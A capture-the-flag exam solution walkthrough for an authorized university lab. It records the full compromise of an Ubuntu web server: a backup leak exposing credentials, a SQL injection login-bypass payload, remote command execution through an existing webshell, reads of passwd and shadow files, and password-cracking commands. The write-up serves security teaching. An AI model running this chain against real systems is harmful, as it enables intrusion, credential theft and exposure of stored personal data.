Source: Juni_2026_Exams/Penetration_Testing/solutions/ubuntu-web-sqli-webshell-exploitation.md
Ubuntu Web SQLi and Webshell Exploitation Walkthrough
Scope and Goal
This walkthrough documents the successful exploitation path for the Ubuntu web target discovered during the authorized university CTF/lab exercise.
For the broader live-lab handoff and raw terminal evidence across all targets, see live-lab-evidence-handoff-and-target-playbooks.md.
Target:
IP: 192.168.2.198
Hostname: ubuntuserver
OS: Ubuntu Linux, kernel 4.15.0-213-generic x86_64
Primary services:
- 80/tcp Apache 2.4.29
- 139/tcp and 445/tcp Samba 4.7.6-Ubuntu
- 3306/tcp MySQL 5.7.42
- 111/tcp rpcbind
- 867/tcp ypbind
Confirmed exploitation:
- Source leak through /backup/backup.gz
- SQL injection authentication bypass in /login.php
- Existing webshell command execution through /uploads/shell.php?cmd=
- Command execution as www-data
- Local enumeration through webshell found readable home-directory evidence
- MySQL was accessible locally from the target with leaked credentials
Use this only inside the authorized lab/CTF environment.
Why This Target Was Interesting
Initial Nmap results showed a normal-looking Ubuntu server:
22/tcp open ssh OpenSSH 7.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
111/tcp open rpcbind
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu
867/tcp open ypbind
3306/tcp open mysql MySQL 5.7.42
Searchsploit did not show an easy public RCE for the exact Apache, Samba, MySQL, OpenSSH, or ypbind versions. That means this was not a "pick one CVE and run it" target. The correct approach was web and configuration enumeration.
Web Enumeration
The first web request showed a university exercise page:
curl -i http://192.168.2.198/
whatweb http://192.168.2.198/
Important observations:
Apache/2.4.29 (Ubuntu)
probably WordPress
script1.js
Topic 1: Essential Security Principles
Topic 2: Current Threat Landscape and Attack Taxonomy
The page also contained hidden/obfuscated course-topic clues. That is a strong exam signal: inspect HTML comments, JavaScript, hidden text, and old files before trying heavy exploitation.
Directory Discovery
Gobuster found the useful attack surface:
gobuster dir -u http://192.168.2.198/ \
-w /usr/share/wordlists/dirb/common.txt \
-x php,txt,bak,zip,conf,sql,old \
-t 30
High-value results:
/backup/ directory listing
/backup/backup.gz
/download/ directory listing
/download/xampp.zip
/uploads/ directory listing
/uploads/shell.php
/uploads/id_rsa.pub
/uploads/a.sh
/uploads/a.elf
/uploads/LinEnum.sh
/uploads/linprivescchecker.py
/login.php
/session.php
/welcome.php
/shell.php
/config.php
/index.old
/domains
/lfi.php
/xss/
/xss-lab/
/xsslab/
Why this mattered:
/backup/backup.gzexposed application source code./uploads/shell.phplooked like a pre-existing command-execution script./login.php,/session.php, and/welcome.phpshowed there was an
authenticated web area.
/lfi.phpsuggested another intended vulnerability to test later./uploads/containing scripts and keys suggested prior exploitation or an
intentionally vulnerable upload area.
JavaScript Clue
script1.js contained packed JavaScript:
curl -i http://192.168.2.198/script1.js
Relevant content:
//This javascript code looks interesting
eval(function(p,a,c,k,e,d){ ... })
The encoded value decoded to:
topic5: First approach to Penetration Testing using Netcat
Why this mattered:
- It confirmed the target is an educational challenge.
- It showed that encoded JavaScript can hold exam clues.
- It supported trying Netcat and simple shell interaction rather than only
complex exploitation frameworks.
SMB Enumeration
SMB was useful for user discovery even though shares were not anonymously readable.
Commands:
smbclient -L //192.168.2.198/ -N
enum4linux-ng 192.168.2.198
smbmap -H 192.168.2.198 -u '' -p ''
Important results:
Sharename:
- print$
- share
- IPC$
Users:
- nikos
- user
Samba:
- Samba 4.7.6-Ubuntu
- Null session allowed for some RPC enumeration
- Share mapping/listing denied anonymously
Password policy:
- Minimum password length: 5
- Lockout threshold: None
Why this mattered:
nikosanduserbecame usernames for SSH, SMB, MySQL, and web login
attempts.
- Anonymous SMB did not give files, so the main path remained web.
- No lockout threshold is useful information, but brute force should only be
used if the exam rules allow it.
RPC, NFS, and Version Exploit Checks
RPC enumeration:
rpcinfo -p 192.168.2.198
showmount -e 192.168.2.198
nmap -Pn -sV --script "rpcinfo" -p 111,867 192.168.2.198
Important output:
rpcbind present on 111/tcp
ypbind present on 867/tcp
showmount: clnt_create: RPC: Program not registered
Interpretation:
- RPC and ypbind were exposed.
- NFS was not registered, so there was no NFS export to mount.
- This was not the main exploitation path.
Searchsploit checks:
searchsploit "Apache 2.4.29 Ubuntu"
searchsploit "Samba 4.7.6"
searchsploit "MySQL 5.7.42"
searchsploit "OpenSSH 7.6p1"
searchsploit "ypbind"
Result:
No direct useful RCE for Apache/Samba/MySQL/ypbind.
OpenSSH < 7.7 username enumeration only.
Why this mattered:
- OpenSSH username enumeration was low value because SMB had already revealed
nikos and user.
- The absence of direct CVE hits pushed the workflow back to web source leaks,
credentials, and application logic flaws.
Backup Leak
The /backup/ directory exposed backup.gz:
mkdir -p web198/loot
cd web198/loot
wget http://192.168.2.198/backup/backup.gz
file backup.gz
gzip -dc backup.gz > backup.out
file backup.out
strings backup.out | grep -Ei "user|pass|password|login|nikos|shell|mysql|db|flag|topic|cmd|upload"
Observed:
backup.gz: gzip compressed data
backup.out: POSIX tar archive (GNU)
Useful strings:
./login.php
$myusername = $_POST['username'];
$mypassword = $_POST['password'];
$sql = "SELECT * FROM myuser WHERE username = '$myusername' and password = '$mypassword'";
$_SESSION['login_user'] = $myusername;
define('DB_SERVER', 'localhost:3306');
define('DB_USERNAME', 'admin');
define('DB_PASSWORD', 'password');
define('DB_DATABASE', 'myuser');
nikos
wDb#?
Then extract it:
mkdir -p backup_extract
tar -xf backup.out -C backup_extract
find backup_extract -maxdepth 3 -type f -print
grep -RniE "shell|system|exec|passthru|cmd|command|session|login_user|password|myuser" backup_extract/
Why this mattered:
- The backup exposed application source code.
config.phpleaked database credentials:admin:password, database
myuser.
login.phpshowed raw SQL string concatenation with user input.- The query proved SQL injection risk.
SQL Injection Authentication Bypass
The vulnerable code:
$sql = "SELECT * FROM myuser WHERE username = '$myusername' and password = '$mypassword'";
This is vulnerable because user input is inserted directly into SQL without prepared statements or escaping.
Exploit:
rm -f sqli.txt
curl -i -c sqli.txt -b sqli.txt -X POST http://192.168.2.198/login.php \
--data-urlencode "username=' OR '1'='1' -- -" \
--data-urlencode "password=x"
cat sqli.txt
curl -i -b sqli.txt http://192.168.2.198/welcome.php
Observed login result:
HTTP/1.1 302 Found
location: welcome.php
Set-Cookie: PHPSESSID=...
Observed authenticated page:
HTTP/1.1 200 OK
<h2><a href = "logout.php">Sign Out</a></h2>
Why this mattered:
302 Foundtowelcome.phpmeans the login code accepted the request.- The PHP session cookie was saved in
sqli.txt. welcome.phpreturned200 OKwithSign Out, proving authenticated access.- The welcome name was blank because the injected username was not a real user,
but the access-control condition was satisfied.
Exam wording:
The backup revealed SQL injection in login.php because username and password
were concatenated directly into the SQL query. I bypassed authentication with
username=' OR '1'='1' -- - and any password. The server returned HTTP 302 to
welcome.php and the session cookie then accessed welcome.php with HTTP 200.
Webshell Command Execution
The /uploads/ directory contained an existing shell.php.
Parameter testing:
for p in cmd command c exec shell q; do
echo "### /uploads/shell.php?$p=id"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?$p=id"
echo
done
Successful result:
### /uploads/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Why this mattered:
- The valid parameter was
cmd. - The script executed operating-system commands.
- The process ran as
www-data, the Apache web user. - This proved remote command execution, not just login bypass.
Post-Exploitation Proof
Commands:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=whoami"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=hostname"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=pwd"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=uname%20-a"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=ls%20-la%20/var/www/html"
Observed proof:
www-data
ubuntuserver
/var/www/html/uploads
Linux ubuntuserver 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
What this proves:
whoamiproves the privilege level.hostnameproves this is the intended target.pwdproves the webshell is running under/var/www/html/uploads.uname -agives OS/kernel evidence for later privilege-escalation research.
Important Files Found From Webshell
Listing /var/www/html revealed:
backup/
check_connection.html
config.php
domains
download/
exams/
index.html
index.html.save
index.old
lfi.php
login.php
logout.php
proxylist.csv
script1.js
session.php
shell.php
uploads/
welcome.php
xss/
xss-lab/
xss.html.old
xsslab/
Why these matter:
lfi.phplikely indicates a local-file-inclusion exercise.exams/may contain exam-specific material or flags.xss/,xss-lab/, andxsslab/indicate XSS exercises.index.html.saveis root-only and may contain hidden material, but it was
not readable as www-data.
backup/was writable and web-accessible.config.php,login.php,session.php, andwelcome.phpare source files
needed to explain the vulnerability chain.
Web-Accessible Write Proof
The backup directory was writable by the web process:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=echo%20test%20%3E%20/var/www/html/backup/write-test.txt"
curl -s http://192.168.2.198/backup/write-test.txt
Observed:
test
Why this mattered:
- It proved
www-datacould write to/var/www/html/backup. - It proved the written file was web-accessible.
- In an exam, this is useful evidence of write capability, but avoid destructive
writes. A harmless write-test.txt is enough.
Local Enumeration Through Webshell
Commands:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/%20-perm%20-4000%20-type%20f%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/etc/passwd"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=ls%20-la%20/home"
Important users:
nikos:x:1000:1000:nikos:/home/nikos:/bin/bash
user:x:1001:1002::/home/user:/bin/bash
mysql:x:999:1001::/home/mysql:/bin/sh
Home directories:
/home/nikos
/home/user
Interesting SUID files:
/usr/bin/pkexec
/usr/bin/sudo
/usr/lib/snapd/snap-confine
/bin/mount
/bin/su
/bin/umount
Interpretation:
nikosanduserare real Linux accounts and were also discovered by SMB.www-datais a low-privilege web user, so privilege escalation would be the
next phase.
- SUID files are leads, not automatic exploits. They need version checks and
careful validation.
- Snap-related SUID files and
pkexecare worth checking for known local
privilege-escalation paths in an authorized lab.
Home Directory Evidence
The webshell could enumerate readable files under /home:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%203%20-type%20f%20-ls%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%204%20-type%20f%202%3E/dev/null%20%7C%20grep%20-Ei%20%27flag%7Cproof%7Cpass%7Ckey%7Ctxt%7Csql%7Cconf%7Csh%27"
Important output:
/home/user/FLAG
/home/user/share/preflag1.txt
/home/user/share/shadow
/home/user/.mysql_history
/home/user/.bash_history
/home/nikos/a.txt
/home/nikos/initdb.sql
/home/nikos/.mysql_history
/home/nikos/.bash_history
/home/nikos/shadow.txt
/home/nikos/nginx-1.4.0/conf/nginx.conf
Why this matters:
/home/user/FLAGis likely a real challenge flag file or final evidence.preflag1.txtlikely contains a staged clue.shadow,shadow.txt,.mysql_history, and.bash_historyare high-value
files for credentials, commands, database names, or privilege-escalation hints.
- The files are visible from the
www-datawebshell because the permissions
allow read/list access on some user files.
Next safe reads:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/FLAG%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/share/preflag1.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/user/share/shadow%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/shadow.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/a.txt%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=cat%20/home/nikos/initdb.sql%202%3E/dev/null"
Confirmed output from /home/user/FLAG:
Congratulations.
Flag 9 is e3e863c42881169e2abed54d37f1ad94
Now it is time to dive a little bit digger into the network and find the last flag (Flag 10).
I wish you Good Luck and hope you are enjoying this challenge.
Confirmed output from /home/user/share/preflag1.txt:
Congratulations.
You have already managed to enter into the sharing folder of the Samba User "user".
Unfortunately, FLAG 9, you are looking for is not here. You can find it in the parent folder.
As you can imagine, you must find a way to get access to the parrent folder.
If you recall your scanning results, you will notice that there are some services
that can allow you get access to the machine.
In this folder you will also find part of the shadow file of the machine.
You can employ online or ofline tools to find that path to enter to the machine
Good Luck.
Interpretation:
192.168.2.198is a completed challenge stage for Flag 9.- The expected path was to enter the Samba
usershare, obtainpreflag1.txt
and part of the shadow file, crack or reuse credentials, then access the parent home directory to read /home/user/FLAG.
- Because the webshell could read
/home/user/FLAGdirectly, the flag was
recovered without finishing the intended Samba-to-user login path.
- The flag text says Flag 10 is elsewhere on the network, so do not keep
hunting only on .198 unless looking for credentials/pivot clues.
Confirmed credential evidence:
/home/user/share/shadow contained one md5crypt-style hash for user.
/home/nikos/shadow.txt contained shadow-style entries for root, nikos, and user.
The user account appeared with two different md5crypt-style hashes across the
partial and fuller shadow files.
The nikos account appeared with a sha512crypt-style hash.
The full hashes are not copied into this repo because they are credential material. Keep them in the Kali working directory if cracking is needed.
Why this matters:
- The challenge text explicitly says the intended route involves a shadow file.
- The
$1$...format is md5crypt, commonly cracked with John format
md5crypt or Hashcat mode 500.
- The
$6$...format is sha512crypt, commonly cracked with John format
sha512crypt or Hashcat mode 1800.
- Recovered passwords should be tested against SSH, SMB, and possibly reused on
other targets for Flag 10.
Safe Kali-side cracking workflow:
mkdir -p ~/recon/targets-197-198/web198/hashes
cd ~/recon/targets-197-198/web198/hashes
# Put the hashes recovered from the terminal output into these local files.
nano user-md5crypt.hashes
nano nikos-sha512crypt.hashes
john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt user-md5crypt.hashes
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt nikos-sha512crypt.hashes
john --show user-md5crypt.hashes
john --show nikos-sha512crypt.hashes
Alternative Hashcat workflow:
hashcat -m 500 user-md5crypt.hashes /usr/share/wordlists/rockyou.txt
hashcat -m 1800 nikos-sha512crypt.hashes /usr/share/wordlists/rockyou.txt
hashcat -m 500 --show user-md5crypt.hashes
hashcat -m 1800 --show nikos-sha512crypt.hashes
Credential validation after cracking:
smbclient -L //192.168.2.198/ -U user
smbclient //192.168.2.198/share -U user
ssh user@192.168.2.198
ssh nikos@192.168.2.198
Search For Exam/Start Scripts On 192.168.2.198
Because the Kali VM did not contain an exam-start launcher, the target itself was checked with the webshell:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20/var/www%20/opt%20/srv%20/usr/local%20-type%20f%202%3E/dev/null%20%7C%20grep%20-Ei%20%27ctf%7Cexam%7Cstart%7Creset%7Cchallenge%7Cflag%7Cscore%7Clab%7Cdocker%7Ccompose%7Ctarget%27"
Important output:
/home/user/FLAG
/home/user/share/preflag1.txt
/var/www/html/xsslab/README.md
/var/www/html/xsslab/src/script.js
/var/www/html/xsslab/index.html
/var/www/html/xsslab/Dockerfile
/var/www/html/xsslab/chall/1.php
...
/var/www/html/xsslab/chall/20.php
/var/www/html/xsslab/chall/finish.php
/var/www/html/xsslab/.git/config
/var/www/html/exams/index.html
Script and Docker/Compose search:
/home/nikos/nginx-1.4.0/contrib/geo2nginx.pl
/home/nikos/nginx-1.4.0/contrib/unicode2nginx/unicode-to-nginx.pl
/var/www/html/uploads/LinEnum.sh
/var/www/html/uploads/upc.sh
/var/www/html/uploads/a.sh
/var/www/html/uploads/linprivescchecker.py
/var/www/html/xsslab/Dockerfile
Interpretation:
- No confirmed script was found that starts the whole exam environment.
/var/www/html/xsslab/Dockerfilebelongs to the hosted XSS lab application,
not necessarily to the infrastructure that starts the exam.
- The
.gitdirectory underxsslabis a useful source-disclosure clue for
understanding the XSS exercise, but it is not proof of a launcher.
- The most useful result from this search was the confirmed Flag 9 file and the
clue that Flag 10 is on another network target.
MySQL From Local Webshell
Remote MySQL had a TLS certificate issue, but local MySQL access from the webshell worked:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20-e%20%22show%20databases%3B%22%202%3E%261"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20myuser%20-e%20%22show%20tables%3B%22%202%3E%261"
Observed output:
Database
information_schema
hospital
mysql
myuser
performance_schema
sys
Tables_in_myuser
foo
myuser
Why this matters:
- The leaked DB credentials are valid locally.
- The
hospitaldatabase may be another lab exercise or source of credentials. - The
myuserdatabase contains the login table used by the vulnerable app.
Confirmed hospital database tables:
clinic
doctor
doctor_clinic
patient
patient_clinic
patient_therapy
speciality
therapy
Next database reads:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20myuser%20-e%20%22select%20*%20from%20myuser%3B%22%202%3E%261"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20hospital%20-e%20%22show%20tables%3B%22%202%3E%261"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20hospital%20-e%20%22describe%20patient%3B%20describe%20doctor%3B%20describe%20clinic%3B%22%202%3E%261"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20hospital%20-e%20%22select%20*%20from%20patient%20limit%205%3B%20select%20*%20from%20doctor%20limit%205%3B%22%202%3E%261"
LFI Check
lfi.php looked promising, but the tested parameters did not include file contents:
curl -s "http://192.168.2.198/lfi.php?file=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?page=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?path=/etc/passwd"
Observed:
You have selected file /etc/passwd
You have selected file
You have selected file
Interpretation:
- The active parameter appears to be
file. - The page echoed the selected filename but did not print
/etc/passwd
contents in the observed test.
- Treat this as a possible intended LFI exercise, but not yet a confirmed file
read vulnerability.
Follow-Up Commands
Read accessible home files:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%203%20-type%20f%20-ls%202%3E/dev/null"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=find%20/home%20-maxdepth%203%20-type%20f%202%3E/dev/null%20%7C%20grep%20-Ei%20%27flag%7Cproof%7Cpass%7Ckey%7Ctxt%7Csql%7Cconf%7Csh%27"
Inspect intended web labs:
curl -s "http://192.168.2.198/lfi.php"
curl -s "http://192.168.2.198/lfi.php?file=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?page=/etc/passwd"
curl -s "http://192.168.2.198/lfi.php?path=/etc/passwd"
Try MySQL without remote TLS verification:
mysql -h 192.168.2.198 -u admin -ppassword --skip-ssl myuser
Or query MySQL locally through the webshell:
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20-e%20%22show%20databases%3B%22"
curl -s -b sqli.txt "http://192.168.2.198/uploads/shell.php?cmd=mysql%20-uadmin%20-ppassword%20myuser%20-e%20%22show%20tables%3B%22"
Try discovered credentials against SSH only inside the lab:
ssh nikos@192.168.2.198
ssh user@192.168.2.198
Browser Access
Public pages can be opened directly:
http://192.168.2.198/
http://192.168.2.198/login.php
http://192.168.2.198/backup/
http://192.168.2.198/backup/write-test.txt
http://192.168.2.198/download/
http://192.168.2.198/uploads/
http://192.168.2.198/uploads/shell.php?cmd=id
http://192.168.2.198/lfi.php
http://192.168.2.198/exams/
http://192.168.2.198/xss/
http://192.168.2.198/xss-lab/
http://192.168.2.198/xsslab/
For browser command execution, URL-encode spaces:
http://192.168.2.198/uploads/shell.php?cmd=ls%20-la%20/var/www/html
Exam-Ready Summary
Target 192.168.2.198 exposed Apache on TCP/80 and several supporting services.
Version checks did not reveal a direct public RCE, so I moved to web
enumeration. Gobuster found /backup/, /uploads/, /login.php, /shell.php,
/lfi.php, and other lab paths.
/backup/backup.gz exposed PHP source code and database credentials. The
login.php source showed that username and password were concatenated directly
into the SQL query. I used username=' OR '1'='1' -- - with any password and
received HTTP 302 to welcome.php. With the saved PHP session cookie, welcome.php
returned HTTP 200 and displayed a Sign Out link, proving authentication bypass.
The /uploads/ directory exposed shell.php. Testing parameters showed that
/uploads/shell.php?cmd=id executed commands and returned uid=33(www-data). I
then confirmed command execution with whoami, hostname, pwd, uname -a, and
listing /var/www/html.
Post-exploitation showed the host name ubuntuserver, kernel
4.15.0-213-generic, users nikos and user, and writable web directory
/var/www/html/backup. This established a successful web compromise as
www-data and gave clear next steps for local privilege escalation.
Key Lessons
- When exact service versions do not produce useful CVEs, return to web
enumeration and source/config leaks.
- Directory listings can be critical:
/backup/exposed source code and
/uploads/ exposed an existing webshell.
- SQL injection proof should include the vulnerable query, the payload, the
redirect, and the authenticated page.
- Command execution proof should include
id,whoami,hostname,pwd, and
uname -a.
- A webshell as
www-datais compromise, but not full root compromise. Keep
privilege level clear in the exam answer.